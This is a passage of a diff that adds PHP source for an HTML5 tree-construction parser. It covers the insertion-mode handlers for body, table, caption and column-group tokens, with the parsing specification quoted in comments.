"center", "dir", "div", "dl", "fieldset", + "listing", "menu", "ol", "p", "ul" */ + case 'address': case 'blockquote': case 'center': case 'dir': + case 'div': case 'dl': case 'fieldset': case 'listing': + case 'menu': case 'ol': case 'p': case 'ul': + /* If the stack of open elements has a p element in scope, + then act as if an end tag with the tag name p had been + seen. */ + if($this->elementInScope('p')) { + $this->emitToken(array( + 'name' => 'p', + 'type' => HTML5::ENDTAG + )); + } + + /* Insert an HTML element for the token. */ + $this->insertElement($token); + break; + + /* A start tag whose tag name is "form" */ + case 'form': + /* If the form element pointer is not null, ignore the + token with a parse error. */ + if($this->form_pointer !== null) { + // Ignore. + + /* Otherwise: */ + } else { + /* If the stack of open elements has a p element in + scope, then act as if an end tag with the tag name p + had been seen. */ + if($this->elementInScope('p')) { + $this->emitToken(array( + 'name' => 'p', + 'type' => HTML5::ENDTAG + )); + } + + /* Insert an HTML element for the token, and set the + form element pointer to point to the element created. */ + $element = $this->insertElement($token); + $this->form_pointer = $element; + } + break; + + /* A start tag whose tag name is "li", "dd" or "dt" */ + case 'li': case 'dd': case 'dt': + /* If the stack of open elements has a p element in scope, + then act as if an end tag with the tag name p had been + seen. */ + if($this->elementInScope('p')) { + $this->emitToken(array( + 'name' => 'p', + 'type' => HTML5::ENDTAG + )); + } + + $stack_length = count($this->stack) - 1; + + for($n = $stack_length; 0 <= $n; $n--) { + /* 1. Initialise node to be the current node (the + bottommost node of the stack). */ + $stop = false; + $node = $this->stack[$n]; + $cat = $this->getElementCategory($node->tagName); + + /* 2. If node is an li, dd or dt element, then pop all + the nodes from the current node up to node, including + node, then stop this algorithm. */ + if($token['name'] === $node->tagName || ($token['name'] !== 'li' + && ($node->tagName === 'dd' || $node->tagName === 'dt'))) { + for($x = $stack_length; $x >= $n ; $x--) { + array_pop($this->stack); + } + + break; + } + + /* 3. If node is not in the formatting category, and is + not in the phrasing category, and is not an address or + div element, then stop this algorithm. */ + if($cat !== self::FORMATTING && $cat !== self::PHRASING && + $node->tagName !== 'address' && $node->tagName !== 'div') { + break; + } + } + + /* Finally, insert an HTML element with the same tag + name as the token's. */ + $this->insertElement($token); + break; + + /* A start tag token whose tag name is "plaintext" */ + case 'plaintext': + /* If the stack of open elements has a p element in scope, + then act as if an end tag with the tag name p had been + seen. */ + if($this->elementInScope('p')) { + $this->emitToken(array( + 'name' => 'p', + 'type' => HTML5::ENDTAG + )); + } + + /* Insert an HTML element for the token. */ + $this->insertElement($token); + + return HTML5::PLAINTEXT; + break; + + /* A start tag whose tag name is one of: "h1", "h2", "h3", "h4", + "h5", "h6" */ + case 'h1': case 'h2': case 'h3': case 'h4': case 'h5': case 'h6': + /* If the stack of open elements has a p element in scope, + then act as if an end tag with the tag name p had been seen. */ + if($this->elementInScope('p')) { + $this->emitToken(array( + 'name' => 'p', + 'type' => HTML5::ENDTAG + )); + } + + /* If the stack of open elements has in scope an element whose + tag name is one of "h1", "h2", "h3", "h4", "h5", or "h6", then + this is a parse error; pop elements from the stack until an + element with one of those tag names has been popped from the + stack. */ + while($this->elementInScope(array('h1', 'h2', 'h3', 'h4', 'h5', 'h6'))) { + array_pop($this->stack); + } + + /* Insert an HTML element for the token. */ + $this->insertElement($token); + break; + + /* A start tag whose tag name is "a" */ + case 'a': + /* If the list of active formatting elements contains + an element whose tag name is "a" between the end of the + list and the last marker on the list (or the start of + the list if there is no marker on the list), then this + is a parse error; act as if an end tag with the tag name + "a" had been seen, then remove that element from the list + of active formatting elements and the stack of open + elements if the end tag didn't already remove it (it + might not have if the element is not in table scope). */ + $leng = count($this->a_formatting); + + for($n = $leng - 1; $n >= 0; $n--) { + if($this->a_formatting[$n] === self::MARKER) { + break; + + } elseif($this->a_formatting[$n]->nodeName === 'a') { + $this->emitToken(array( + 'name' => 'a', + 'type' => HTML5::ENDTAG + )); + break; + } + } + + /* Reconstruct the active formatting elements, if any. */ + $this->reconstructActiveFormattingElements(); + + /* Insert an HTML element for the token. */ + $el = $this->insertElement($token); + + /* Add that element to the list of active formatting + elements. */ + $this->a_formatting[] = $el; + break; + + /* A start tag whose tag name is one of: "b", "big", "em", "font", + "i", "nobr", "s", "small", "strike", "strong", "tt", "u" */ + case 'b': case 'big': case 'em': case 'font': case 'i': + case 'nobr': case 's': case 'small': case 'strike': + case 'strong': case 'tt': case 'u': + /* Reconstruct the active formatting elements, if any. */ + $this->reconstructActiveFormattingElements(); + + /* Insert an HTML element for the token. */ + $el = $this->insertElement($token); + + /* Add that element to the list of active formatting + elements. */ + $this->a_formatting[] = $el; + break; + + /* A start tag token whose tag name is "button" */ + case 'button': + /* If the stack of open elements has a button element in scope, + then this is a parse error; act as if an end tag with the tag + name "button" had been seen, then reprocess the token. (We don't + do that. Unnecessary.) */ + if($this->elementInScope('button')) { + $this->inBody(array( + 'name' => 'button', + 'type' => HTML5::ENDTAG + )); + } + + /* Reconstruct the active formatting elements, if any. */ + $this->reconstructActiveFormattingElements(); + + /* Insert an HTML element for the token. */ + $this->insertElement($token); + + /* Insert a marker at the end of the list of active + formatting elements. */ + $this->a_formatting[] = self::MARKER; + break; + + /* A start tag token whose tag name is one of: "marquee", "object" */ + case 'marquee': case 'object': + /* Reconstruct the active formatting elements, if any. */ + $this->reconstructActiveFormattingElements(); + + /* Insert an HTML element for the token. */ + $this->insertElement($token); + + /* Insert a marker at the end of the list of active + formatting elements. */ + $this->a_formatting[] = self::MARKER; + break; + + /* A start tag token whose tag name is "xmp" */ + case 'xmp': + /* Reconstruct the active formatting elements, if any. */ + $this->reconstructActiveFormattingElements(); + + /* Insert an HTML element for the token. */ + $this->insertElement($token); + + /* Switch the content model flag to the CDATA state. */ + return HTML5::CDATA; + break; + + /* A start tag whose tag name is "table" */ + case 'table': + /* If the stack of open elements has a p element in scope, + then act as if an end tag with the tag name p had been seen. */ + if($this->elementInScope('p')) { + $this->emitToken(array( + 'name' => 'p', + 'type' => HTML5::ENDTAG + )); + } + + /* Insert an HTML element for the token. */ + $this->insertElement($token); + + /* Change the insertion mode to "in table". */ + $this->mode = self::IN_TABLE; + break; + + /* A start tag whose tag name is one of: "area", "basefont", + "bgsound", "br", "embed", "img", "param", "spacer", "wbr" */ + case 'area': case 'basefont': case 'bgsound': case 'br': + case 'embed': case 'img': case 'param': case 'spacer': + case 'wbr': + /* Reconstruct the active formatting elements, if any. */ + $this->reconstructActiveFormattingElements(); + + /* Insert an HTML element for the token. */ + $this->insertElement($token); + + /* Immediately pop the current node off the stack of open elements. */ + array_pop($this->stack); + break; + + /* A start tag whose tag name is "hr" */ + case 'hr': + /* If the stack of open elements has a p element in scope, + then act as if an end tag with the tag name p had been seen. */ + if($this->elementInScope('p')) { + $this->emitToken(array( + 'name' => 'p', + 'type' => HTML5::ENDTAG + )); + } + + /* Insert an HTML element for the token. */ + $this->insertElement($token); + + /* Immediately pop the current node off the stack of open elements. */ + array_pop($this->stack); + break; + + /* A start tag whose tag name is "image" */ + case 'image': + /* Parse error. Change the token's tag name to "img" and + reprocess it. (Don't ask.) */ + $token['name'] = 'img'; + return $this->inBody($token); + break; + + /* A start tag whose tag name is "input" */ + case 'input': + /* Reconstruct the active formatting elements, if any. */ + $this->reconstructActiveFormattingElements(); + + /* Insert an input element for the token. */ + $element = $this->insertElement($token, false); + + /* If the form element pointer is not null, then associate the + input element with the form element pointed to by the form + element pointer. */ + $this->form_pointer !== null + ? $this->form_pointer->appendChild($element) + : end($this->stack)->appendChild($element); + + /* Pop that input element off the stack of open elements. */ + array_pop($this->stack); + break; + + /* A start tag whose tag name is "isindex" */ + case 'isindex': + /* Parse error. */ + // w/e + + /* If the form element pointer is not null, + then ignore the token. */ + if($this->form_pointer === null) { + /* Act as if a start tag token with the tag name "form" had + been seen. */ + $this->inBody(array( + 'name' => 'body', + 'type' => HTML5::STARTTAG, + 'attr' => array() + )); + + /* Act as if a start tag token with the tag name "hr" had + been seen. */ + $this->inBody(array( + 'name' => 'hr', + 'type' => HTML5::STARTTAG, + 'attr' => array() + )); + + /* Act as if a start tag token with the tag name "p" had + been seen. */ + $this->inBody(array( + 'name' => 'p', + 'type' => HTML5::STARTTAG, + 'attr' => array() + )); + + /* Act as if a start tag token with the tag name "label" + had been seen. */ + $this->inBody(array( + 'name' => 'label', + 'type' => HTML5::STARTTAG, + 'attr' => array() + )); + + /* Act as if a stream of character tokens had been seen. */ + $this->insertText('This is a searchable index. '. + 'Insert your search keywords here: '); + + /* Act as if a start tag token with the tag name "input" + had been seen, with all the attributes from the "isindex" + token, except with the "name" attribute set to the value + "isindex" (ignoring any explicit "name" attribute). */ + $attr = $token['attr']; + $attr[] = array('name' => 'name', 'value' => 'isindex'); + + $this->inBody(array( + 'name' => 'input', + 'type' => HTML5::STARTTAG, + 'attr' => $attr + )); + + /* Act as if a stream of character tokens had been seen + (see below for what they should say). */ + $this->insertText('This is a searchable index. '. + 'Insert your search keywords here: '); + + /* Act as if an end tag token with the tag name "label" + had been seen. */ + $this->inBody(array( + 'name' => 'label', + 'type' => HTML5::ENDTAG + )); + + /* Act as if an end tag token with the tag name "p" had + been seen. */ + $this->inBody(array( + 'name' => 'p', + 'type' => HTML5::ENDTAG + )); + + /* Act as if a start tag token with the tag name "hr" had + been seen. */ + $this->inBody(array( + 'name' => 'hr', + 'type' => HTML5::ENDTAG + )); + + /* Act as if an end tag token with the tag name "form" had + been seen. */ + $this->inBody(array( + 'name' => 'form', + 'type' => HTML5::ENDTAG + )); + } + break; + + /* A start tag whose tag name is "textarea" */ + case 'textarea': + $this->insertElement($token); + + /* Switch the tokeniser's content model flag to the + RCDATA state. */ + return HTML5::RCDATA; + break; + + /* A start tag whose tag name is one of: "iframe", "noembed", + "noframes" */ + case 'iframe': case 'noembed': case 'noframes': + $this->insertElement($token); + + /* Switch the tokeniser's content model flag to the CDATA state. */ + return HTML5::CDATA; + break; + + /* A start tag whose tag name is "select" */ + case 'select': + /* Reconstruct the active formatting elements, if any. */ + $this->reconstructActiveFormattingElements(); + + /* Insert an HTML element for the token. */ + $this->insertElement($token); + + /* Change the insertion mode to "in select". */ + $this->mode = self::IN_SELECT; + break; + + /* A start or end tag whose tag name is one of: "caption", "col", + "colgroup", "frame", "frameset", "head", "option", "optgroup", + "tbody", "td", "tfoot", "th", "thead", "tr". */ + case 'caption': case 'col': case 'colgroup': case 'frame': + case 'frameset': case 'head': case 'option': case 'optgroup': + case 'tbody': case 'td': case 'tfoot': case 'th': case 'thead': + case 'tr': + // Parse error. Ignore the token. + break; + + /* A start or end tag whose tag name is one of: "event-source", + "section", "nav", "article", "aside", "header", "footer", + "datagrid", "command" */ + case 'event-source': case 'section': case 'nav': case 'article': + case 'aside': case 'header': case 'footer': case 'datagrid': + case 'command': + // Work in progress! + break; + + /* A start tag token not covered by the previous entries */ + default: + /* Reconstruct the active formatting elements, if any. */ + $this->reconstructActiveFormattingElements(); + + $this->insertElement($token); + break; + } + break; + + case HTML5::ENDTAG: + switch($token['name']) { + /* An end tag with the tag name "body" */ + case 'body': + /* If the second element in the stack of open elements is + not a body element, this is a parse error. Ignore the token. + (innerHTML case) */ + if(count($this->stack) < 2 || $this->stack[1]->nodeName !== 'body') { + // Ignore. + + /* If the current node is not the body element, then this + is a parse error. */ + } elseif(end($this->stack)->nodeName !== 'body') { + // Parse error. + } + + /* Change the insertion mode to "after body". */ + $this->mode = self::AFTER_BODY; + break; + + /* An end tag with the tag name "html" */ + case 'html': + /* Act as if an end tag with tag name "body" had been seen, + then, if that token wasn't ignored, reprocess the current + token. */ + $this->inBody(array( + 'name' => 'body', + 'type' => HTML5::ENDTAG + )); + + return $this->afterBody($token); + break; + + /* An end tag whose tag name is one of: "address", "blockquote", + "center", "dir", "div", "dl", "fieldset", "listing", "menu", + "ol", "pre", "ul" */ + case 'address': case 'blockquote': case 'center': case 'dir': + case 'div': case 'dl': case 'fieldset': case 'listing': + case 'menu': case 'ol': case 'pre': case 'ul': + /* If the stack of open elements has an element in scope + with the same tag name as that of the token, then generate + implied end tags. */ + if($this->elementInScope($token['name'])) { + $this->generateImpliedEndTags(); + + /* Now, if the current node is not an element with + the same tag name as that of the token, then this + is a parse error. */ + // w/e + + /* If the stack of open elements has an element in + scope with the same tag name as that of the token, + then pop elements from this stack until an element + with that tag name has been popped from the stack. */ + for($n = count($this->stack) - 1; $n >= 0; $n--) { + if($this->stack[$n]->nodeName === $token['name']) { + $n = -1; + } + + array_pop($this->stack); + } + } + break; + + /* An end tag whose tag name is "form" */ + case 'form': + /* If the stack of open elements has an element in scope + with the same tag name as that of the token, then generate + implied end tags. */ + if($this->elementInScope($token['name'])) { + $this->generateImpliedEndTags(); + + } + + if(end($this->stack)->nodeName !== $token['name']) { + /* Now, if the current node is not an element with the + same tag name as that of the token, then this is a parse + error. */ + // w/e + + } else { + /* Otherwise, if the current node is an element with + the same tag name as that of the token pop that element + from the stack. */ + array_pop($this->stack); + } + + /* In any case, set the form element pointer to null. */ + $this->form_pointer = null; + break; + + /* An end tag whose tag name is "p" */ + case 'p': + /* If the stack of open elements has a p element in scope, + then generate implied end tags, except for p elements. */ + if($this->elementInScope('p')) { + $this->generateImpliedEndTags(array('p')); + + /* If the current node is not a p element, then this is + a parse error. */ + // k + + /* If the stack of open elements has a p element in + scope, then pop elements from this stack until the stack + no longer has a p element in scope. */ + for($n = count($this->stack) - 1; $n >= 0; $n--) { + if($this->elementInScope('p')) { + array_pop($this->stack); + + } else { + break; + } + } + } + break; + + /* An end tag whose tag name is "dd", "dt", or "li" */ + case 'dd': case 'dt': case 'li': + /* If the stack of open elements has an element in scope + whose tag name matches the tag name of the token, then + generate implied end tags, except for elements with the + same tag name as the token. */ + if($this->elementInScope($token['name'])) { + $this->generateImpliedEndTags(array($token['name'])); + + /* If the current node is not an element with the same + tag name as the token, then this is a parse error. */ + // w/e + + /* If the stack of open elements has an element in scope + whose tag name matches the tag name of the token, then + pop elements from this stack until an element with that + tag name has been popped from the stack. */ + for($n = count($this->stack) - 1; $n >= 0; $n--) { + if($this->stack[$n]->nodeName === $token['name']) { + $n = -1; + } + + array_pop($this->stack); + } + } + break; + + /* An end tag whose tag name is one of: "h1", "h2", "h3", "h4", + "h5", "h6" */ + case 'h1': case 'h2': case 'h3': case 'h4': case 'h5': case 'h6': + $elements = array('h1', 'h2', 'h3', 'h4', 'h5', 'h6'); + + /* If the stack of open elements has in scope an element whose + tag name is one of "h1", "h2", "h3", "h4", "h5", or "h6", then + generate implied end tags. */ + if($this->elementInScope($elements)) { + $this->generateImpliedEndTags(); + + /* Now, if the current node is not an element with the same + tag name as that of the token, then this is a parse error. */ + // w/e + + /* If the stack of open elements has in scope an element + whose tag name is one of "h1", "h2", "h3", "h4", "h5", or + "h6", then pop elements from the stack until an element + with one of those tag names has been popped from the stack. */ + while($this->elementInScope($elements)) { + array_pop($this->stack); + } + } + break; + + /* An end tag whose tag name is one of: "a", "b", "big", "em", + "font", "i", "nobr", "s", "small", "strike", "strong", "tt", "u" */ + case 'a': case 'b': case 'big': case 'em': case 'font': + case 'i': case 'nobr': case 's': case 'small': case 'strike': + case 'strong': case 'tt': case 'u': + /* 1. Let the formatting element be the last element in + the list of active formatting elements that: + * is between the end of the list and the last scope + marker in the list, if any, or the start of the list + otherwise, and + * has the same tag name as the token. + */ + while(true) { + for($a = count($this->a_formatting) - 1; $a >= 0; $a--) { + if($this->a_formatting[$a] === self::MARKER) { + break; + + } elseif($this->a_formatting[$a]->tagName === $token['name']) { + $formatting_element = $this->a_formatting[$a]; + $in_stack = in_array($formatting_element, $this->stack, true); + $fe_af_pos = $a; + break; + } + } + + /* If there is no such node, or, if that node is + also in the stack of open elements but the element + is not in scope, then this is a parse error. Abort + these steps. The token is ignored. */ + if(!isset($formatting_element) || ($in_stack && + !$this->elementInScope($token['name']))) { + break; + + /* Otherwise, if there is such a node, but that node + is not in the stack of open elements, then this is a + parse error; remove the element from the list, and + abort these steps. */ + } elseif(isset($formatting_element) && !$in_stack) { + unset($this->a_formatting[$fe_af_pos]); + $this->a_formatting = array_merge($this->a_formatting); + break; + } + + /* 2. Let the furthest block be the topmost node in the + stack of open elements that is lower in the stack + than the formatting element, and is not an element in + the phrasing or formatting categories. There might + not be one. */ + $fe_s_pos = array_search($formatting_element, $this->stack, true); + $length = count($this->stack); + + for($s = $fe_s_pos + 1; $s < $length; $s++) { + $category = $this->getElementCategory($this->stack[$s]->nodeName); + + if($category !== self::PHRASING && $category !== self::FORMATTING) { + $furthest_block = $this->stack[$s]; + } + } + + /* 3. If there is no furthest block, then the UA must + skip the subsequent steps and instead just pop all + the nodes from the bottom of the stack of open + elements, from the current node up to the formatting + element, and remove the formatting element from the + list of active formatting elements. */ + if(!isset($furthest_block)) { + for($n = $length - 1; $n >= $fe_s_pos; $n--) { + array_pop($this->stack); + } + + unset($this->a_formatting[$fe_af_pos]); + $this->a_formatting = array_merge($this->a_formatting); + break; + } + + /* 4. Let the common ancestor be the element + immediately above the formatting element in the stack + of open elements. */ + $common_ancestor = $this->stack[$fe_s_pos - 1]; + + /* 5. If the furthest block has a parent node, then + remove the furthest block from its parent node. */ + if($furthest_block->parentNode !== null) { + $furthest_block->parentNode->removeChild($furthest_block); + } + + /* 6. Let a bookmark note the position of the + formatting element in the list of active formatting + elements relative to the elements on either side + of it in the list. */ + $bookmark = $fe_af_pos; + + /* 7. Let node and last node be the furthest block. + Follow these steps: */ + $node = $furthest_block; + $last_node = $furthest_block; + + while(true) { + for($n = array_search($node, $this->stack, true) - 1; $n >= 0; $n--) { + /* 7.1 Let node be the element immediately + prior to node in the stack of open elements. */ + $node = $this->stack[$n]; + + /* 7.2 If node is not in the list of active + formatting elements, then remove node from + the stack of open elements and then go back + to step 1. */ + if(!in_array($node, $this->a_formatting, true)) { + unset($this->stack[$n]); + $this->stack = array_merge($this->stack); + + } else { + break; + } + } + + /* 7.3 Otherwise, if node is the formatting + element, then go to the next step in the overall + algorithm. */ + if($node === $formatting_element) { + break; + + /* 7.4 Otherwise, if last node is the furthest + block, then move the aforementioned bookmark to + be immediately after the node in the list of + active formatting elements. */ + } elseif($last_node === $furthest_block) { + $bookmark = array_search($node, $this->a_formatting, true) + 1; + } + + /* 7.5 If node has any children, perform a + shallow clone of node, replace the entry for + node in the list of active formatting elements + with an entry for the clone, replace the entry + for node in the stack of open elements with an + entry for the clone, and let node be the clone. */ + if($node->hasChildNodes()) { + $clone = $node->cloneNode(); + $s_pos = array_search($node, $this->stack, true); + $a_pos = array_search($node, $this->a_formatting, true); + + $this->stack[$s_pos] = $clone; + $this->a_formatting[$a_pos] = $clone; + $node = $clone; + } + + /* 7.6 Insert last node into node, first removing + it from its previous parent node if any. */ + if($last_node->parentNode !== null) { + $last_node->parentNode->removeChild($last_node); + } + + $node->appendChild($last_node); + + /* 7.7 Let last node be node. */ + $last_node = $node; + } + + /* 8. Insert whatever last node ended up being in + the previous step into the common ancestor node, + first removing it from its previous parent node if + any. */ + if($last_node->parentNode !== null) { + $last_node->parentNode->removeChild($last_node); + } + + $common_ancestor->appendChild($last_node); + + /* 9. Perform a shallow clone of the formatting + element. */ + $clone = $formatting_element->cloneNode(); + + /* 10. Take all of the child nodes of the furthest + block and append them to the clone created in the + last step. */ + while($furthest_block->hasChildNodes()) { + $child = $furthest_block->firstChild; + $furthest_block->removeChild($child); + $clone->appendChild($child); + } + + /* 11. Append that clone to the furthest block. */ + $furthest_block->appendChild($clone); + + /* 12. Remove the formatting element from the list + of active formatting elements, and insert the clone + into the list of active formatting elements at the + position of the aforementioned bookmark. */ + $fe_af_pos = array_search($formatting_element, $this->a_formatting, true); + unset($this->a_formatting[$fe_af_pos]); + $this->a_formatting = array_merge($this->a_formatting); + + $af_part1 = array_slice($this->a_formatting, 0, $bookmark - 1); + $af_part2 = array_slice($this->a_formatting, $bookmark, count($this->a_formatting)); + $this->a_formatting = array_merge($af_part1, array($clone), $af_part2); + + /* 13. Remove the formatting element from the stack + of open elements, and insert the clone into the stack + of open elements immediately after (i.e. in a more + deeply nested position than) the position of the + furthest block in that stack. */ + $fe_s_pos = array_search($formatting_element, $this->stack, true); + $fb_s_pos = array_search($furthest_block, $this->stack, true); + unset($this->stack[$fe_s_pos]); + + $s_part1 = array_slice($this->stack, 0, $fb_s_pos); + $s_part2 = array_slice($this->stack, $fb_s_pos + 1, count($this->stack)); + $this->stack = array_merge($s_part1, array($clone), $s_part2); + + /* 14. Jump back to step 1 in this series of steps. */ + unset($formatting_element, $fe_af_pos, $fe_s_pos, $furthest_block); + } + break; + + /* An end tag token whose tag name is one of: "button", + "marquee", "object" */ + case 'button': case 'marquee': case 'object': + /* If the stack of open elements has an element in scope whose + tag name matches the tag name of the token, then generate implied + tags. */ + if($this->elementInScope($token['name'])) { + $this->generateImpliedEndTags(); + + /* Now, if the current node is not an element with the same + tag name as the token, then this is a parse error. */ + // k + + /* Now, if the stack of open elements has an element in scope + whose tag name matches the tag name of the token, then pop + elements from the stack until that element has been popped from + the stack, and clear the list of active formatting elements up + to the last marker. */ + for($n = count($this->stack) - 1; $n >= 0; $n--) { + if($this->stack[$n]->nodeName === $token['name']) { + $n = -1; + } + + array_pop($this->stack); + } + + $marker = end(array_keys($this->a_formatting, self::MARKER, true)); + + for($n = count($this->a_formatting) - 1; $n > $marker; $n--) { + array_pop($this->a_formatting); + } + } + break; + + /* Or an end tag whose tag name is one of: "area", "basefont", + "bgsound", "br", "embed", "hr", "iframe", "image", "img", + "input", "isindex", "noembed", "noframes", "param", "select", + "spacer", "table", "textarea", "wbr" */ + case 'area': case 'basefont': case 'bgsound': case 'br': + case 'embed': case 'hr': case 'iframe': case 'image': + case 'img': case 'input': case 'isindex': case 'noembed': + case 'noframes': case 'param': case 'select': case 'spacer': + case 'table': case 'textarea': case 'wbr': + // Parse error. Ignore the token. + break; + + /* An end tag token not covered by the previous entries */ + default: + for($n = count($this->stack) - 1; $n >= 0; $n--) { + /* Initialise node to be the current node (the bottommost + node of the stack). */ + $node = end($this->stack); + + /* If node has the same tag name as the end tag token, + then: */ + if($token['name'] === $node->nodeName) { + /* Generate implied end tags. */ + $this->generateImpliedEndTags(); + + /* If the tag name of the end tag token does not + match the tag name of the current node, this is a + parse error. */ + // k + + /* Pop all the nodes from the current node up to + node, including node, then stop this algorithm. */ + for($x = count($this->stack) - $n; $x >= $n; $x--) { + array_pop($this->stack); + } + + } else { + $category = $this->getElementCategory($node); + + if($category !== self::SPECIAL && $category !== self::SCOPING) { + /* Otherwise, if node is in neither the formatting + category nor the phrasing category, then this is a + parse error. Stop this algorithm. The end tag token + is ignored. */ + return false; + } + } + } + break; + } + break; + } + } + + private function inTable($token) + { + $clear = array('html', 'table'); + + /* A character token that is one of one of U+0009 CHARACTER TABULATION, + U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), + or U+0020 SPACE */ + if($token['type'] === HTML5::CHARACTR && + preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { + /* Append the character to the current node. */ + $text = $this->dom->createTextNode($token['data']); + end($this->stack)->appendChild($text); + + /* A comment token */ + } elseif($token['type'] === HTML5::COMMENT) { + /* Append a Comment node to the current node with the data + attribute set to the data given in the comment token. */ + $comment = $this->dom->createComment($token['data']); + end($this->stack)->appendChild($comment); + + /* A start tag whose tag name is "caption" */ + } elseif($token['type'] === HTML5::STARTTAG && + $token['name'] === 'caption') { + /* Clear the stack back to a table context. */ + $this->clearStackToTableContext($clear); + + /* Insert a marker at the end of the list of active + formatting elements. */ + $this->a_formatting[] = self::MARKER; + + /* Insert an HTML element for the token, then switch the + insertion mode to "in caption". */ + $this->insertElement($token); + $this->mode = self::IN_CAPTION; + + /* A start tag whose tag name is "colgroup" */ + } elseif($token['type'] === HTML5::STARTTAG && + $token['name'] === 'colgroup') { + /* Clear the stack back to a table context. */ + $this->clearStackToTableContext($clear); + + /* Insert an HTML element for the token, then switch the + insertion mode to "in column group". */ + $this->insertElement($token); + $this->mode = self::IN_CGROUP; + + /* A start tag whose tag name is "col" */ + } elseif($token['type'] === HTML5::STARTTAG && + $token['name'] === 'col') { + $this->inTable(array( + 'name' => 'colgroup', + 'type' => HTML5::STARTTAG, + 'attr' => array() + )); + + $this->inColumnGroup($token); + + /* A start tag whose tag name is one of: "tbody", "tfoot", "thead" */ + } elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'], + array('tbody', 'tfoot', 'thead'))) { + /* Clear the stack back to a table context. */ + $this->clearStackToTableContext($clear); + + /* Insert an HTML element for the token, then switch the insertion + mode to "in table body". */ + $this->insertElement($token); + $this->mode = self::IN_TBODY; + + /* A start tag whose tag name is one of: "td", "th", "tr" */ + } elseif($token['type'] === HTML5::STARTTAG && + in_array($token['name'], array('td', 'th', 'tr'))) { + /* Act as if a start tag token with the tag name "tbody" had been + seen, then reprocess the current token. */ + $this->inTable(array( + 'name' => 'tbody', + 'type' => HTML5::STARTTAG, + 'attr' => array() + )); + + return $this->inTableBody($token); + + /* A start tag whose tag name is "table" */ + } elseif($token['type'] === HTML5::STARTTAG && + $token['name'] === 'table') { + /* Parse error. Act as if an end tag token with the tag name "table" + had been seen, then, if that token wasn't ignored, reprocess the + current token. */ + $this->inTable(array( + 'name' => 'table', + 'type' => HTML5::ENDTAG + )); + + return $this->mainPhase($token); + + /* An end tag whose tag name is "table" */ + } elseif($token['type'] === HTML5::ENDTAG && + $token['name'] === 'table') { + /* If the stack of open elements does not have an element in table + scope with the same tag name as the token, this is a parse error. + Ignore the token. (innerHTML case) */ + if(!$this->elementInScope($token['name'], true)) { + return false; + + /* Otherwise: */ + } else { + /* Generate implied end tags. */ + $this->generateImpliedEndTags(); + + /* Now, if the current node is not a table element, then this + is a parse error. */ + // w/e + + /* Pop elements from this stack until a table element has been + popped from the stack. */ + while(true) { + $current = end($this->stack)->nodeName; + array_pop($this->stack); + + if($current === 'table') { + break; + } + } + + /* Reset the insertion mode appropriately. */ + $this->resetInsertionMode(); + } + + /* An end tag whose tag name is one of: "body", "caption", "col", + "colgroup", "html", "tbody", "td", "tfoot", "th", "thead", "tr" */ + } elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'], + array('body', 'caption', 'col', 'colgroup', 'html', 'tbody', 'td', + 'tfoot', 'th', 'thead', 'tr'))) { + // Parse error. Ignore the token. + + /* Anything else */ + } else { + /* Parse error. Process the token as if the insertion mode was "in + body", with the following exception: */ + + /* If the current node is a table, tbody, tfoot, thead, or tr + element, then, whenever a node would be inserted into the current + node, it must instead be inserted into the foster parent element. */ + if(in_array(end($this->stack)->nodeName, + array('table', 'tbody', 'tfoot', 'thead', 'tr'))) { + /* The foster parent element is the parent element of the last + table element in the stack of open elements, if there is a + table element and it has such a parent element. If there is no + table element in the stack of open elements (innerHTML case), + then the foster parent element is the first element in the + stack of open elements (the html element). Otherwise, if there + is a table element in the stack of open elements, but the last + table element in the stack of open elements has no parent, or + its parent node is not an element, then the foster parent + element is the element before the last table element in the + stack of open elements. */ + for($n = count($this->stack) - 1; $n >= 0; $n--) { + if($this->stack[$n]->nodeName === 'table') { + $table = $this->stack[$n]; + break; + } + } + + if(isset($table) && $table->parentNode !== null) { + $this->foster_parent = $table->parentNode; + + } elseif(!isset($table)) { + $this->foster_parent = $this->stack[0]; + + } elseif(isset($table) && ($table->parentNode === null || + $table->parentNode->nodeType !== XML_ELEMENT_NODE)) { + $this->foster_parent = $this->stack[$n - 1]; + } + } + + $this->inBody($token); + } + } + + private function inCaption($token) + { + /* An end tag whose tag name is "caption" */ + if($token['type'] === HTML5::ENDTAG && $token['name'] === 'caption') { + /* If the stack of open elements does not have an element in table + scope with the same tag name as the token, this is a parse error. + Ignore the token. (innerHTML case) */ + if(!$this->elementInScope($token['name'], true)) { + // Ignore + + /* Otherwise: */ + } else { + /* Generate implied end tags. */ + $this->generateImpliedEndTags(); + + /* Now, if the current node is not a caption element, then this + is a parse error. */ + // w/e + + /* Pop elements from this stack until a caption element has + been popped from the stack. */ + while(true) { + $node = end($this->stack)->nodeName; + array_pop($this->stack); + + if($node === 'caption') { + break; + } + } + + /* Clear the list of active formatting elements up to the last + marker. */ + $this->clearTheActiveFormattingElementsUpToTheLastMarker(); + + /* Switch the insertion mode to "in table". */ + $this->mode = self::IN_TABLE; + } + + /* A start tag whose tag name is one of: "caption", "col", "colgroup", + "tbody", "td", "tfoot", "th", "thead", "tr", or an end tag whose tag + name is "table" */ + } elseif(($token['type'] === HTML5::STARTTAG && in_array($token['name'], + array('caption', 'col', 'colgroup', 'tbody', 'td', 'tfoot', 'th', + 'thead', 'tr'))) || ($token['type'] === HTML5::ENDTAG && + $token['name'] === 'table')) { + /* Parse error. Act as if an end tag with the tag name "caption" + had been seen, then, if that token wasn't ignored, reprocess the + current token. */ + $this->inCaption(array( + 'name' => 'caption', + 'type' => HTML5::ENDTAG + )); + + return $this->inTable($token); + + /* An end tag whose tag name is one of: "body", "col", "colgroup", + "html", "tbody", "td", "tfoot", "th", "thead", "tr" */ + } elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'], + array('body', 'col', 'colgroup', 'html', 'tbody', 'tfoot', 'th', + 'thead', 'tr'))) { + // Parse error. Ignore the token. + + /* Anything else */ + } else { + /* Process the token as if the insertion mode was "in body". */ + $this->inBody($token); + } + } + + private function inColumnGroup($token) + { + /* A character token that is one of one of U+0009 CHARACTER TABULATION, + U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), + or U+0020 SPACE */ + if($token['type'] === HTML5::CHARACTR && + preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { + /* Append the character to the current node. */ + $text = $this->dom->createTextNode($token['data']); + end($this->stack)->appendChild($text); + + /* A comment token */ + } elseif($token['type'] === HTML5::COMMENT) { + /* Append a Comment node to the current node with the data + 